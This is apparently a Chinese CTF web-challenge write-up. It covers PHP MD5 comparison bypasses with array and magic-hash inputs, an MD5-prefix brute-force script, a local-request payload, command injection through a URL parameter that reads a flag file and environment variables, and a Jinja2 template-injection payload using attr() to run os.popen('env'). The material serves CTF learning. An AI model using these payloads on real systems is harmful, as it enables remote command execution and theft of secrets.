这个比赛不太巧,属于稍微有点抽象...全靠MISC大佬带,另外,MISC分值好重啊!!!!!!WEB打着好费力!最后是靠着随风和nuli两位师傅一起上了第二名,虽然有点遗憾没有拿到第一名,因为第二天有国赛,其实也就比较满意这个结果了。
I_am_eeeeeshili
目录扫描出check.php,进入后显示需要文件,构造?file=xxx.php查看
需要post一个file,查看逻辑有黑名单,后面应该是过滤某些操作,限制我们读取/flag
到前端页面抓包后,绕过检查,查看到源码
if (str_replace("\", "/", __FILE__)== $_SERVER["SCRIPT_FILENAME"]) {
header("HTTP/1.0 403 Forbidden");
die("前面的区域以后再探索吧!");
}
.........
$client_ip = $_SERVER["REMOTE_ADDR"];
$server_ip = $_SERVER["SERVER_ADDR"];
if ($client_ip === $server_ip) {
if(md5($_GET["a"]) === md5($_GET["b"])){
if ($_GET["c"] != $_GET["d"] && md5($_GET["c"]) == md5($_GET["d"])){
if(substr(md5($_GET["e"]), 0, 5) === "9331c"){
$file = fopen("./ffflllaaaggg.php", "w");
fwrite($file, "<?php \n echo $flag".";");
fclose($file);
}
}
}
} else {
$code = '';
highlight_string($code);
echo '<script>alert("错啦错啦错啦!");</script>';
header('Location: login.html');
die();
}
观察到此题的逻辑,首先会注册请求ip和服务器ip为变量,并且进行比较,
还需要设置了几个get变量,abcde,a和b进行md5强比较,c和d进行md5弱比较,最后要求e的md5值的前五位md5值为9331c
用脚本爆破找到e的值:1916798
import hashlib
target_chars = "9331c"
def md5_brite():
num = 0
while True:
num_str = str(num)
md5_hash = hashlib.md5(num_str.encode()).hexdigest()
if md5_hash[:5] == target_chars:
print(f"找到匹配数字{num_str}")
break
num += 1
if __name__ == "__main__":
md5_brite()
payload
check_http://127.0.0.1/flag.php?a[]=1&b[]=2&c=QNKCDZO&d=240610708&e=1916798
绕过了n次了 发现并没有什么用,,,,,想起来前面的登陆页面有一个check功能,试试check本地能不能通,发现ok,尝试在这里进行前面的绕过,发现前面发包后,有两个附着的包,setsession.php和stream.php,随后在setsession这里发现了前面的请求,后边会带有返回的报文!!!!!!!巨大发现,由于上面的逻辑是打开ffflllaaaggg.php并写入到/flag里面,感觉可以直接在这里读取一下试一试。
后面师傅直接给了flag
ezphp
观察到源码主要过滤了部分查看文件的函数,没想到能直接ls /
前边的弱比较和强比较简单绕过,强比较没有转化为字符串,直接用md5无法加密数组的机制绕过。
http://ctf.mardle.cn:34014/?usn=QNKCDZO&usn1[]=1&sign=od -t c /var/www/html/flag.sh
pwd=240610708&pwd1[]=2
后边直接使用od -t c /var/www/html/flag,发现查看到了假的flag,旁边有一个flag.sh打开后观察逻辑为执行该脚本后才会将假的flag替换为真实的环境变量flag,
#!/bin/sh
seed -i "s/flag{testflag}/$GZCTF_FLAG/"
/flag
export GZCTF_FLAG=""
直接打印环境变量,printenv 即可看到
comment me
题目过滤了双大括号和.
构造payload使用attr绕过. 字符即可
{%print lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("env")|attr("read")()%}
尝试读取flag,后边发现并没有读取到,选择直接读取环境变量看看有没有flag,结果成功查看到flag
Comments 1 条评论
博主 kenton
123123123